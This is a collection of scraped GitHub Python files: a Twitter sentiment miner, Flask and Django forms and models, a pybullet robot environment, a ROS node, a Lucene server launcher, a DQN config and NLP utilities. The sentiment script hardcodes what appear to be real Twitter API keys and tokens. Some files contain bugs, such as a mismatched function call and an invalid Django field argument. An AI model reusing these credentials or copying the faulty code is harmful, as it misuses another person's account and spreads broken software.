doc_text\n            docs.append({\"href\": doc.attrib[\"href\"], \"title\": doc_note})\n        return docs\n","repo_name":"City-Bureau/city-scrapers","sub_path":"city_scrapers/spiders/chi_ssa_42.py","file_name":"chi_ssa_42.py","file_ext":"py","file_size_in_byte":3867,"program_lang":"python","lang":"en","doc_type":"code","stars":309,"dataset":"github-code","pt":"47"}
{"seq_id":"35153109534","text":"wordScoresFilePath = \"/home/pimania/projects/sentimentAnalysis/wordScores.txt\"\ndelaySeconds = 100\n\n\ndef ensureWordScoresFile(wordScoresFilePath):\n   try:\n       with open(wordScoresFilePath) as wordScoresFile:\n           pass\n   except IOError:\n       with open(wordScoresFilePath, \"w\") as wordScoresFile:\n          pass\n\n\ndef getTwitterText():\n   import tweepy\n   try:\n      auth = tweepy.auth.OAuthHandler(\"kqSndhybqhsSBcrY83ZpK2dkH\", \"EoJm0OmlZZmyhJOln7vIJg8en97NhVZQx0u9QSKKI7T9B7hvUg\")\n      auth.set_access_token(\"3685943952-BTfjGnef7QNdqnh9EMHtO5SInUcE2ZaROX9MMi8\", \"vD1q0887Cof3N8GKNQMHHW2Ad5vjFJCTsBONJZ47zNqC9\")\n      api = tweepy.API(auth)\n   except:\n      return False\n   \n   text = \" \".join([tweet._json[\"text\"] for tweet in api.search(q=\"good\", count=100)]).lower() + \" \" + \" \".join([tweet._json[\"text\"] for tweet in api.search(q=\"bad\", count=100)]).lower()\n   \n   sentences = text.replace(\"?\", \".\").replace(\"!\", \".\").split(\". \")\n   \n   goodSentences = \". \".join([sentence for sentence in sentences if \"good\" in sentence])\n   badSentences = \". \".join([sentence for sentence in sentences if \"bad\" in sentence])\n   \n   return [goodSentences, badSentences]\n   \n\ndef getBadGoodRatio(wordScores):\n   totalGoodScore = 0\n   totalBadScore = 0\n   \n   for score in wordScores.values():\n      if score > 0:\n         totalGoodScore += score\n      if score < 0:\n         totalBadScore += score\n         \n   return abs(totalBadScore) / totalGoodScore\n\n\ndef getWordScores(goodText, badText):\n   import string\n   import re\n   \n   regex = re.compile('[%s]' % re.escape(string.punctuation))\n   wordScores = {}\n\n   goodWords = regex.sub('', goodText).split()\n   badWords = regex.sub('', badText).split()\n\n   for word in goodWords:\n      wordScores[word] = wordScores.get(word, 0) + 1\n      \n   for word in badWords:\n      wordScores[word] = wordScores.get(word, 0) - 1\n      \n   return wordScores\n      \n      \ndef getLastWordScores(wordScoresFilePath):\n   import json\n   \n   with open(wordScoresFilePath) as wordScoresFile:\n      try:\n         lastWordScores = json.load(wordScoresFile)\n      except:\n         lastWordScores = {}\n         \n   return lastWordScores\n   \n   \ndef getNewWordScores(badGoodScoreRatio, wordScores, lastWordScores):\n   for word in wordScores:\n      if wordScores[word] > 0:\n         wordScore = wordScores[word] * badGoodScoreRatio\n      else:\n         wordScore = wordScores[word]\n         \n      if word in lastWordScores:\n         lastWordScores[word][0] += wordScore\n         lastWordScores[word][1] += 1\n      else:\n         lastWordScores[word] = [0, 0]\n         lastWordScores[word][0] += wordScore\n         lastWordScores[word][1] += 1 \n\n   return lastWordScores\n   \n   \ndef main():\n   while True:\n      import json\n      import time\n      \n      time.sleep(delaySeconds)\n      ensureWordScoresFile(wordScoresFilePath)\n      lastWordScores = getLastWordScores(wordScoresFilePath) \n         \n      try:\n        twitterGoodtext, twitterBadtext = getTwitterText(\"good\", \"bad\")\n      except:\n        print(\"Connection error...\")\n        continue\n        \n      wordScores = getWordScores(twitterGoodtext, twitterBadtext)\n         \n      badGoodScoreRatio = getBadGoodRatio(wordScores)\n      newWordScores = getNewWordScores(badGoodScoreRatio, wordScores, lastWordScores)\n      \n      with open(wordScoresFilePath, \"w\") as wordScoresFile:\n         json.dump(newWordScores, wordScoresFile)\n      \n\nmain()\n","repo_name":"distbit0/sentimentAnalysis","sub_path":"sentimentDataMiner.py","file_name":"sentimentDataMiner.py","file_ext":"py","file_size_in_byte":3429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19454570666","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField, PasswordField, BooleanField, SubmitField, IntegerField,\\\n                      FloatField\nfrom wtforms.fields.html5 import DateField\nfrom wtforms.validators import ValidationError, DataRequired, Email, EqualTo\nfrom bdf.models import User, Book, General, Auxilliere, Journal, Period_id, Type\nfrom wtforms_alchemy.fields import QuerySelectField\n\ndef general_ID():\n    return General.query\n\ndef aux_ID():\n    return Auxilliere.query\n    \ndef pid_ID():\n    return Period_id.query\n    \ndef type_ID():\n    return Type.query\n    \ndef jn_ID():\n    return Journal.query\n\nclass AddBookForm(FlaskForm):\n    id = IntegerField('Id', validators=[DataRequired()])\n    date = DateField('date', validators=[DataRequired()])\n    description = StringField('Description', validators=[DataRequired()])\n    debit = IntegerField('Debit')\n    credit = IntegerField('Credit')\n    montant = FloatField('Montant', validators=[DataRequired()])\n    AUX = StringField('Auxilliare')\n    type = StringField('Type')\n    REF = StringField('REF')\n    JN = StringField('JN')\n    PID = IntegerField('PID')\n    CT = IntegerField('CT')\n    submit = SubmitField('Submit')\n    modify = SubmitField('Modify')\n    delete = SubmitField('Delete')\n\nclass AddJnForm(FlaskForm):\n    id = StringField('Journal', validators=[DataRequired()])\n    name = StringField('name', validators=[DataRequired()])\n    submit = SubmitField('Sign In')\n    modify = SubmitField('Modify')\n    delete = SubmitField('Delete')\n\n\nclass AddPidForm(FlaskForm):\n    id = IntegerField('Period', validators=[DataRequired()])\n    start = DateField('Start Date', validators=[DataRequired()])\n    end = DateField('End Date', validators=[DataRequired()])\n    submit = SubmitField('Submit')\n    modify = SubmitField('Modify')\n    delete = SubmitField('Delete')\n    \nclass AddTypeForm(FlaskForm):\n    id = StringField('Type', validators=[DataRequired()])\n    name = StringField('name', validators=[DataRequired()])\n    submit = SubmitField('Sign In')\n    modify = SubmitField('Modify')\n    delete = SubmitField('Delete')\n","repo_name":"pascale64/accounts2","sub_path":"bdf/books/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"73795352141","text":"import time\n\nimport numpy as np\nimport pybullet\n\nfrom pybullet_envs.env_bases import MJCFBaseBulletEnv\nfrom .unitree_pybullet.StadiumScene import SinglePlayerStadiumScene\n\n\nclass UnitreeBase(MJCFBaseBulletEnv):\n    def __init__(self, robot,\n        render=False,\n        sim_timestep = 1./1000.,\n        sim_frameskip = 10,\n        sim_numSolverIterations = 10,\n        do_hard_reset = False,\n        lateralFriction_plane=0.8,\n        spinningFriction_plane=0.1, \n        rollingFriction_plane = 0.1,\n        restitution_plane=0.0,\n        COV_ENABLE_PLANAR_REFLECTION_plane= 0,\n        COV_ENABLE_SHADOWS = False,\n        **kwargs\n        ):\n        \"\"\"\n        Params:\n            robot (object): Robot object\n            render (bool): If True then a GUI will be opened. Slows down training\n                process, though.\n            sim_timestep (float): Time of a single step in simulation\n            sim_frameskip (int): Number of sub-steps per step in simultion. Each one\n                should take sim_timestep/sim_frameskip seconds.\n                Higher numbers might lead to higher accuracy but takes more time.\n            sim_numSolverIterations (int): Max number of iterations of the solver in\n                simulation. The higher the more accurate but also slower.\n            do_hard_reset (bool): If true then the urdf will be reloaded for each\n                reset. Otherwise we try to reset the simulator state.\n        \"\"\"\n        super().__init__(robot, render)\n        self._p = None\n        # parama\n        self._param_sim_timestep = sim_timestep\n        self._param_sim_frameskip = sim_frameskip\n        self._param_do_hard_reset = do_hard_reset\n        self._param_sim_numSolverIterations = sim_numSolverIterations\n        self._param_init_camera_width = 320\n        self._param_init_camera_height = 200\n        self._param_lateralFriction_plane = lateralFriction_plane\n        self._param_spinningFriction_plane = spinningFriction_plane\n        self._param_rollingFriction_plane = rollingFriction_plane\n        self._param_restitution_plane=restitution_plane\n        self._param_COV_ENABLE_PLANAR_REFLECTION_plane= COV_ENABLE_PLANAR_REFLECTION_plane\n        self._param_COV_ENABLE_SHADOWS = COV_ENABLE_SHADOWS\n        \n        self.stateId=-1\n        self._set_sim_param = False\n        self.camera_x = None\n        self._environment_hooks = []\n        self._projectM = None\n\n        self._do_render = render\n        self._do_render_camera_image = True\n\n        state = self._robot_base_reset()\n        self._observation_spec = {}\n        for key, val in state.items():\n            self._observation_spec[key] = (len(val),)\n        self._action_spec = (len(self.robot.ordered_joints),)\n\n    \n    def create_single_player_scene(self, bullet_client):\n        self.stadium_scene = SinglePlayerStadiumScene(\n            bullet_client=bullet_client,\n            gravity=9.8,\n            timestep=self._param_sim_timestep,\n            frame_skip=self._param_sim_frameskip,\n            lateralFriction=self._param_lateralFriction_plane,\n            spinningFriction = self._param_spinningFriction_plane,\n            rollingFriction = self._param_rollingFriction_plane,\n            restitution=self._param_restitution_plane,\n            COV_ENABLE_PLANAR_REFLECTION_plane=self._param_COV_ENABLE_PLANAR_REFLECTION_plane,\n            )\n        return self.stadium_scene\n\n    def get_observation_spec(self):\n        \"\"\"Returns dict of tubles defining the size of the states.\n\n        Returns:\n            dict: Size of the states.\n        \"\"\"\n        return self._observation_spec\n\n    def get_action_spec(self):\n        \"\"\"Returns the size/length of the expected actions.\n\n        Returns:\n            tuple: action length\n        \"\"\"\n        return self._action_spec\n\n    def reset(self):\n        \"\"\"Resets the simulator.\n\n        Returns:\n            state (dict): The dict contains four different states. 'j_pos' are the\n                joint positions. 'j_vel' are the current velocities of the\n                joint angles. 'base_pos' is the 3D position of the base of Daisy\n                in the world. 'base_ori_euler' is the orientation of the robot\n                in euler angles.\n            reward (float): Reward achieved.\n            done (bool): True if end of simulation reached. (Currently always False)\n        \"\"\"\n        return self._robot_base_reset()\n\n    def _robot_base_reset(self):\n        \"\"\"Resets the simulator.\n\n        Returns:\n            state (dict): The dict contains four different states. 'j_pos' are the\n                joint positions. 'j_vel' are the current velocities of the\n                joint angles. 'base_pos' is the 3D position of the base of Daisy\n                in the world. 'base_ori_euler' is the orientation of the robot\n                in euler angles.\n            reward (float): Reward achieved.\n            done (bool): True if end of simulation reached. (Currently always False)\n        \"\"\"\n        self._do_reset_simulator_preparations()\n        if (self.stateId>=0):\n            self._p.restoreState(self.stateId)\n\n        if self._p is not None and self._do_render:\n            self._p.configureDebugVisualizer(pybullet.COV_ENABLE_RENDERING,0)\n        state = super(UnitreeBase, self).reset()\n        state['j_eff'] = [0.0 for _ in state['j_eff']]\n        # state['j_eff'] contains the efforts produced from the last time step\n        # We have to reset it here to zero or otherwise we have the wrong information\n\n        # if not self._set_sim_param:\n        #     # self._p.setPhysicsEngineParameter(enableFileCaching=0)\n        #     self._set_sim_param = True\n\n        # self.parts, self.jdict, self.ordered_joints, self.robot_body = self.robot.addToScene(self._p,\n        #     self.stadium_scene.ground_plane_mjcf)\n\n        if self._do_render:\n            self._p.configureDebugVisualizer(pybullet.COV_ENABLE_RENDERING,1)\n            # self._p.configureDebugVisualizer(pybullet.COV_ENABLE_GUI,1)\n\n        if self._param_COV_ENABLE_SHADOWS:\n            self._p.configureDebugVisualizer(pybullet.COV_ENABLE_SHADOWS, 1)\n        if (self.stateId<0):\n            self.stateId=self._p.saveState()\n            print(\"saving state self.stateId:\",self.stateId)\n\n\n        self.camera_x = None\n        self.camera_adjust()\n\n        return state\n\n    def step(self, a):\n        \"\"\"Applies action a and returns next state.\n\n        Args:\n            a (list or numpy array): List of actions. Lenght must be the same as\n                get_action_spec() defines.\n\n        Returns:\n            state (dict): The dict contains four different states. 'j_pos' are the\n                joint positions. 'j_vel' are the current velocities of the\n                joint angles. 'base_pos' is the 3D position of the base of Daisy\n                in the world. 'base_ori_euler' is the orientation of the robot\n                in euler angles.\n            reward (float): Reward achieved.\n            done (bool): True if end of simulation reached. (Currently always False)\n\n        \"\"\"\n        # Avoids the camera reset by the parent class\n        return self._step(a)\n\n    def _step(self, a):\n        \"\"\"Applies action a and returns next state.\n\n        Args:\n            a (list or numpy array): List of actions. Lenght must be the same as\n                get_action_spec() defines.\n\n        Returns:\n            state (dict): The dict contains four different states. 'j_pos' are the\n                joint positions. 'j_vel' are the current velocities of the\n                joint angles. 'base_pos' is the 3D position of the base of Daisy\n                in the world. 'base_ori_euler' is the orientation of the robot\n                in euler angles.\n            reward (float): Reward achieved.\n            done (bool): True if end of simulation reached. (Currently always False)\n\n        \"\"\"\n        if isinstance(a, np.ndarray):\n            a = a.tolist()\n        self.robot.apply_action(a)\n        self.scene.global_step()\n        self.camera_adjust()\n        if self._do_render:\n            self._p.configureDebugVisualizer(pybullet.COV_ENABLE_RENDERING,1)\n        state = self.robot.calc_state()\n\n        return state\n\n    def camera_adjust(self):\n        if self._p is None or not self._do_render:\n            return\n        self.camera._p = self._p\n        x, y, z = self.robot.body_xyz\n        if self.camera_x is not None:\n            self.camera_x = x # 0.98*self.camera_x + (1-0.98)*x\n        else:\n            self.camera_x = x\n        # self.camera.move_and_look_at(self.camera_x, y-2.0, 1.4, x, y, 1.0)\n        lookat = [self.camera_x, y, z]\n        distance = 2.0\n        yaw = 10\n        pitch = -20\n        self._p.resetDebugVisualizerCamera(distance, yaw, pitch, lookat)\n\n    \n    def render_camera_image(self, pixelWidthHeight = None):\n        if pixelWidthHeight is not None or self._projectM is None:\n            if self._projectM is None:\n                self._pixelWidth = self._param_init_camera_width\n                self._pixelHeight = self._param_init_camera_height\n            else:\n                self._pixelWidth = pixelWidthHeight[0]\n                self._pixelHeight = pixelWidthHeight[1]\n            nearPlane = 0.01\n            farPlane = 10\n            aspect = self._pixelWidth / self._pixelHeight\n            fov = 60\n            self._projectM = self._p.computeProjectionMatrixFOV(fov, aspect,\n                nearPlane, farPlane)\n\n        x, y, z = self.robot.body_xyz\n        lookat = [x, y, z]\n        distance = 1.4\n        pitch = 90\n        yaw = 0\n        roll = 0\n        viewM = self._p.computeViewMatrixFromYawPitchRoll(\n            cameraTargetPosition=lookat,\n            distance=distance,\n            yaw=yaw,\n            pitch=pitch,\n            roll=roll,\n            upAxisIndex=2)\n\n        # img_arr, depth_arr, mask_arr = pybullet.getCameraImage(self._pixelWidth, self._pixelHeight, viewM, self._projectM, shadow=0,renderer=pybullet.ER_BULLET_HARDWARE_OPENGL)\n        img_arr = pybullet.getCameraImage(self._pixelWidth, self._pixelHeight, viewM, self._projectM, shadow=0, renderer=pybullet.ER_BULLET_HARDWARE_OPENGL)#, flags=pybullet.COV_ENABLE_SEGMENTATION_MARK_PREVIEW)\n\n        w=img_arr[0] #width of the image, in pixels\n        h=img_arr[1] #height of the image, in pixels\n        rgb=img_arr[2] #color data RGB\n\n        image = np.reshape(rgb, (h, w, 4)) #Red, Green, Blue, Alpha\n        image = image * (1./255.)\n        image = image[:,:,0:3]\n        return image #, depth_arr, mask_arr\n\n    \n    def _do_reset_simulator_preparations(self, reload_scene=False):\n        if self._param_do_hard_reset:\n            self.stateId = -1\n            if self._p is not None:\n                self._p.resetSimulation()\n            reload_scene = True\n\n        if self.scene is not None:\n            self.scene.cpp_world.numSolverIterations =  self._param_sim_numSolverIterations\n            if reload_scene:\n                self.scene.stadiumLoaded = 0","repo_name":"EasyPaperSniper/evangelion_02_simulator","sub_path":"unitree_sim_env/unitree_env_base.py","file_name":"unitree_env_base.py","file_ext":"py","file_size_in_byte":10981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"21309323044","text":"#!/usr/bin/env python\nimport rospy\nfrom std_msgs.msg import String\nfrom std_msgs.msg import UInt8\n\n#This node was done to get the user's comands from the terminal and send those to the other nodes\n\ndef callback(data):\n\tprint(data.data)\n\ndef main():\n\trospy.init_node('input', anonymous=True)\n\tpub = rospy.Publisher('input_cmd', String, queue_size=1)\n\trate = rospy.Rate(100)\n\twhile not rospy.is_shutdown():\n\t\ttext = raw_input()\n\t\tpub.publish(text)\n\t\trate.sleep()\n\nif __name__ == '__main__':\n\tmain()","repo_name":"BenjaminMar/myo_code","sub_path":"machine_learning/src/input.py","file_name":"input.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"71698479822","text":"from django.db import models\n\n\nclass SandType(models.Model):\n    created_at = models.DateTimeField(auto_now_add=True)\n    updated_at = models.DateTimeField(auto_now=True)\n    name = models.CharField(max_char=256)\n    notes = models.TextField()\n    unit_size = models.DecimalField(decimal_places=2,\n                                    max_digits=12,\n                                    blank=True,\n                                    null=True)\n    price = models.DecimalField(decimal_places=2,\n                                max_digits=2,\n                                blank=True,\n                                null=True)\n    unit_price = models.DecimalField(decimal_places=2,\n                                     max_digits=2,\n                                     blank=True,\n                                     null=True)\n\nclass Topdressing(models.Model):\n    created_at = models.DateTimeField(auto_now_add=True)\n    updated_at = models.DateTimeField(auto_now=True)\n    \n    topdress_date = models.DateField()\n    sand = models.ForeignKey(SandType)\n    \nclass GreenTopdressing(Topdressing):\n    greens = models.ManyToManyField('courses.Green')\n    \nclass TeeTopdressing(Topdressing):\n    tees = models.ManyToManyField('courses.Tee')\n    \nclass FairwayTopdressing(Topdressing):\n    fairways = models.ManyToManyField('courses.Fairway')\n","repo_name":"emmakschu/greensManagerDjango","sub_path":"topdressing/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32857000705","text":"# coding: utf-8\n\nfrom flask import render_template\nfrom settings import app\n\n@app.route('/', methods=('GET',))\ndef index():\n    name = 'Smael'\n    return render_template('book/index.html', name=name)\n\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"smaelc/FlaskCI","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40228235697","text":"'''\n把只包含因子2、3和5的数称作丑数（Ugly Number）。例如6、8都是丑数，但14不是，因为它包含因子7。\n习惯上我们把1当做是第一个丑数。求按从小到大的顺序的第N个丑数。\n'''\n# 对每一个数都需要判断它是不是丑数（需要执行求余和除法操作） \n# 大数就跪了\ndef getUglyNum(N):\n    if N <= 0:\n        return 0   \n    num = 0\n    uglyNum = 0\n    while uglyNum<N:\n        num += 1\n        if isUgly(num):\n            uglyNum += 1\n    return num \n\ndef isUgly(num):\n    while num%2==0:\n        num//=2\n    while num%3==0:\n        num//=3\n    while num%5==0:\n        num//=5\n    return True if num==1 else False\n\n\n# 空间换时间\ndef getUglyNum2(N):\n    if N <= 0:\n        return 0\n    res=[1]\n    nextIndex = 1\n    t2 = t3 = t5 = 0\n    while nextIndex<N:\n        min_val = min(res[t2]*2,res[t3]*3,res[t5]*5)\n        res.append(min_val)\n        while res[t2]*2 <= min_val:\n            t2 += 1\n        while res[t3]*3 <= min_val:\n            t3 += 1\n        while res[t5]*5 <= min_val:\n            t5 += 1\n        nextIndex += 1\n    return res[N-1]\n\n\n\nprint(getUglyNum2(1500))","repo_name":"Jane-Zhai/target_offer","sub_path":"eg_49_isUgly.py","file_name":"eg_49_isUgly.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"10909196708","text":"#!/usr/bin/env python\n# coding=utf-8\n'''\nAuthor: JiangJi\nEmail: johnjim0816@gmail.com\nDate: 2023-01-01 16:45:22\nLastEditor: JiangJi\nLastEditTime: 2023-03-29 13:08:50\nDiscription: \n'''\nfrom config.config import DefaultConfig\n\n\nclass AlgoConfig(DefaultConfig):\n    '''算法超参数类\n    '''\n    def __init__(self) -> None:\n        ## 设置 epsilon_start=epsilon_end 可以得到固定的 epsilon，即等于epsilon_end\n        self.epsilon_start = 0.95  # epsilon 初始值\n        self.epsilon_end = 0.01  # epsilon 终止值\n        self.epsilon_decay = 500  # epsilon 衰减率\n        self.gamma = 0.95  # 奖励折扣因子\n        self.lr = 0.0001  # 学习率\n        self.buffer_size = 100000  # buffer 大小\n        self.batch_size = 64  # batch size\n        self.target_update = 4  # target_net 更新频率\n        self.value_layers = [\n            {'layer_type': 'linear', 'layer_dim': ['n_states', 256],\n             'activation': 'relu'},\n            {'layer_type': 'linear', 'layer_dim': [256, 256],\n             'activation': 'relu'},\n            {'layer_type': 'linear', 'layer_dim': [256, 'n_actions'],\n             'activation': 'none'}] # 神经网络层配置\n","repo_name":"curryliu30/joyrl-offline","sub_path":"algos/DQN/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"}
{"seq_id":"12031634098","text":"import threading\nimport os\nimport time\nimport shutil\nimport subprocess\nimport sys\nimport datetime\nimport signal\n\nsys.path.insert(0, '..')\n\nimport localconstants\n\n\"\"\"\nPython wrapper that spawns the Java lucene server process and restarts it if it dies.\n\"\"\"\n\nLUCENE_SERVER_VERSION = localconstants.LUCENE_SERVER_VERSION\n\ndef readServerOutput(p, port, startupEvent, failureEvent, eachLine):\n  while True:\n    l = p.stdout.readline().decode('utf-8')\n    if l == '':\n      if not startupEvent.isSet():\n        failureEvent.set()\n        startupEvent.set()\n        raise RuntimeError('Server failed to start')\n      else:\n        break\n    if 'listening on' in l:\n      startupEvent.set()\n    if eachLine is None:\n      print('SVR: %s' % l.rstrip())\n    else:\n      eachLine(l.rstrip())\n\nclass RunServer:\n\n  \"\"\"\n  Spawns java subprocess to run the Lucene server.\n  \"\"\"\n\n  def __init__(self, port, path, eachLine=None):\n    self.port = port\n    startupEvent = threading.Event()\n    failureEvent = threading.Event()\n\n    #VERSION = '4.2.0-ALPHA'\n    #VERSION = '4.2-SNAPSHOT'\n\n    HEAP = localconstants.HEAP\n\n    # -agentlib:yjpagent=sampling,disablej2ee\n    cmd = '%s -Xms%s -Xmx%s -Xss228k -cp \"../luceneserver/lib/*\" org.apache.lucene.server.Server -maxHTTPThreadCount 2 -ipPort localhost:%s -stateDir %s' % (localconstants.JAVA_EXE, HEAP, HEAP, port, localconstants.ROOT_INDICES_PATH)\n\n    print('SERVER CMD: %s' % cmd)\n\n    self.p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n\n    t = threading.Thread(target=readServerOutput, args=(self.p, port, startupEvent, failureEvent, eachLine))\n    t.setDaemon(True)\n    t.start()\n\n    startupEvent.wait()\n    if failureEvent.isSet():\n      sys.exit(0)\n\n  def isAlive(self):\n    return self.p.poll() is None\n\n  def killServer(self):\n    try:\n      self.send('shutdown', {})\n    except:\n      pass\n    print('Find server pid to kill...')\n    for line in os.popen('ps auxww | grep java | grep server.Server | grep \"port %s\" | grep -v grep' % self.port).readlines():\n      pid = line.strip().split()[1]\n      print('Kill server pid %s' % pid)\n      try:\n        os.kill(int(pid), signal.SIGKILL)\n      except:\n        pass\n\nif __name__ == '__main__':\n\n  while True:\n    print()\n    print('%s: START SERVER' % datetime.datetime.now())\n    svr = RunServer(localconstants.SERVER_PORT, localconstants.ROOT_INDICES_PATH)\n    \n    try:\n      while True:\n        time.sleep(.2)\n        if not svr.isAlive():\n          print('NOT ALIVE')\n          break\n    finally:\n      svr.killServer()\n\n    time.sleep(1)\n\n","repo_name":"mikemccand/luceneserver","sub_path":"examples/jirasearch/production/runServer.py","file_name":"runServer.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":131,"dataset":"github-code","pt":"47"}
{"seq_id":"69842491663","text":"\"\"\"\nUtility functions to help with dataloading and preprocessing\n\"\"\"\n\nimport pandas as pd\n\nimport nltk\n# pretrained tokenizer\nnltk.download('punkt')\nfrom nltk.tokenize import word_tokenize \n\n# import stemmer\nfrom nltk.stem import PorterStemmer \n\n# remove stopwords\nnltk.download('stopwords')\nfrom nltk.corpus import stopwords\n\nfrom gensim.models import Word2Vec\nfrom gensim import corpora\n\nimport torch\nfrom torch.nn import Embedding\n\nimport numpy as np\n\nimport re\n\nMIN_WORD_COUNT = 4\nSTART_TOKEN = \"<BEG>\"\nEND_TOKEN = \"<END>\"\nUNKNOWN_TOKEN = \"<UNK>\"\nPADDING_TOKEN = \"<PAD>\"\n\n__author__ = \"Sander Schulhoff\"\n__email__ = \"sanderschulhoff@gmail.com\"\n\ndef read_json(path):\n    return pd.read_json(path)\n\ndef preprocess(df, binary_classes=True):\n    \"\"\"\n    Tokenizes and encodes class numerically\n\n    :param binary_classes: If True, considers YTA and ESH to be the same \n        class (1) and NTA and NAH to be the same class (0)\n    \"\"\"\n\n    ps = PorterStemmer() \n\n    # Select columns to apply preprocessing to\n    pp_cols = [\"title\", \"post_body\", \"comment_body\"]\n    \n    # make all lowercase\n    df[pp_cols] = df[pp_cols].applymap(lambda s:s.lower())\n    \n    # comment only\n\n    # Removing prefixed 'b'\n    df[\"comment_body\"] = df[\"comment_body\"].apply(lambda s:re.sub(r'^b\\s+', ' ',s,flags=re.I))\n\n    # remove all of: x200b (zero-width space)\n    df[\"comment_body\"] = df[\"comment_body\"].apply(lambda s:re.sub(r'x200b', ' ',s))\n\n    # Substituting multiple spaces with single space\n    df[\"comment_body\"] = df[\"comment_body\"].apply(lambda s:re.sub(r'\\s+', ' ',s,flags=re.I))\n\n    # post only\n\n    # combine title and body of post\n    df[\"post_body\"] = df[\"post_body\"].apply(lambda x: x + \" \")\n    df[\"post_body\"] = df[\"title\"] + df[\"post_body\"]\n\n    # get rid of now redundant title column\n    df.drop(columns=[\"title\"], axis=1, inplace=True)\n\n    # apply to post only\n\n    # Remove all the special characters\n    df[\"post_body\"] = df[\"post_body\"].apply(lambda s:re.sub(r'\\W', ' ',s))\n\n    # remove all single characters\n    df[\"post_body\"] = df[\"post_body\"].apply(lambda s:re.sub(r'\\s+[a-zA-Z]\\s+', ' ',s))\n\n    # Remove single characters from the start (no space before them, but space after)\n    df[\"post_body\"] = df[\"post_body\"].apply(lambda s:re.sub(r'^[a-zA-Z]\\s+', ' ',s))\n\n    # Removing prefixed 'b'\n    df[\"post_body\"] = df[\"post_body\"].apply(lambda s:re.sub(r'^b\\s+', ' ',s,flags=re.I))\n\n    # remove all of: x200b (zero-width space)\n    df[\"post_body\"] = df[\"post_body\"].apply(lambda s:re.sub(r'x200b', ' ',s))\n\n    # Substituting multiple spaces with single space\n    df[\"post_body\"] = df[\"post_body\"].apply(lambda s:re.sub(r'\\s+', ' ',s,flags=re.I))\n\n    # Remove single numbers\n    df[\"post_body\"] = df[\"post_body\"].apply(lambda s:re.sub(r'\\d+', ' ',s,flags=re.I))\n   \n    # tokenize df\n    df[[\"post_body\", \"comment_body\"]] = df[[\"post_body\", \"comment_body\"]].applymap(lambda s:word_tokenize(s))\n\n    # perform stemming on posts only\n    df[\"post_body\"] = df[\"post_body\"].apply(lambda s: [ps.stem(word) for word in s])\n\n     # remove stopwords\n    # df[\"post_body\"] = df[\"post_body\"].apply(lambda s: [word for word in s if word not in stopwords.words('english')])\n    \n\n    if binary_classes:\n        df[\"judgement\"] = df[\"judgement\"].map({\"YTA\":1, \"ESH\":1, \"NTA\":0, \"NAH\":0})\n    else:\n        raise \"deal with this later\"\n        \n    return df\n\ndef gen_vocabulary(df, min_count=MIN_WORD_COUNT, comment=True):\n    \"\"\"\n    Generate a list of unique words in the corpus\n    \n    :param int min_count: The minimum # of occurences of word to be included in\n        the list\n    :param bool comment: If true, will additionally use text in comment bodies     \n    \"\"\"\n    vocabulary = {}\n    # count how many of each word occur\n    def dmap(arr):\n        for word in arr:\n            if word in vocabulary:\n                vocabulary[word]+=1\n            else:\n                vocabulary[word]=1\n\n    df[\"post_body\"].apply(lambda arr: dmap(arr))\n\n    if comment:\n        df[\"comment_body\"].apply(lambda arr: dmap(arr))\n\n    # remove all keys which occur less than 3 times\n    vocabulary = {key : count for key, count in vocabulary.items() if count >= min_count}\n\n    vocabulary =  list(vocabulary)\n\n    return vocabulary\n\n\n\"\"\"\nFunctions which support the generation/saving/loading of embeddings.\n\"\"\"\n\ndef train_embeddings(df, save_path=None, eps=1000):\n\n    posts = list(df[\"post_body\"])\n\n    model = Word2Vec(sentences=posts, vector_size=30, epochs=eps, min_count=MIN_WORD_COUNT, window=2)\n\n    if save_path:\n        model.save(save_path)\n\n    return model\n\n\ndef load_embeddings(save_path):\n    \"\"\"Abstract the loading process so don't need gensim calls in other files\"\"\"\n    return Word2Vec.load(save_path)\n\ndef gensim_to_pytorch(gse):\n    \"\"\"\n    Convert a gensim word2vec to a pytorch embedding\n    :return: Tuple containing a word to index dictionary and the Pytorch embedding\n    \"\"\"\n    word_to_idx = {word:index for index, word in enumerate(gse.wv.index_to_key)}\n    weights = torch.FloatTensor([gse.wv.get_vector(word) for word in gse.wv.index_to_key])\n    embed = Embedding.from_pretrained(weights)\n    \n    return word_to_idx, embed\n\ndef get_embeddings(path=\"embeddings_30_1000\", special_tokens=True):\n    gensim_embeds = load_embeddings(path)\n\n    if special_tokens: \n        gensim_embeds.wv[START_TOKEN] = np.random.normal(0, 1, size=(gensim_embeds.vector_size))\n        gensim_embeds.wv[END_TOKEN] = np.random.normal(0, 1, size=(gensim_embeds.vector_size))\n        gensim_embeds.wv[UNKNOWN_TOKEN] = np.random.normal(0, 1, size=(gensim_embeds.vector_size))\n    \n    return gensim_to_pytorch(gensim_embeds)\n    \nif __name__ == \"__main__\":\n    df = read_json(\"example.json\")\n\n    df = preprocess(df)\n\n    # gen_vocabulary(df, MIN_WORD_COUNT)\n\n    train_embeddings(df, \"embeddings_30_1000\")\n\n\n","repo_name":"trigaten/AI-Judge","sub_path":"training/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5820,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
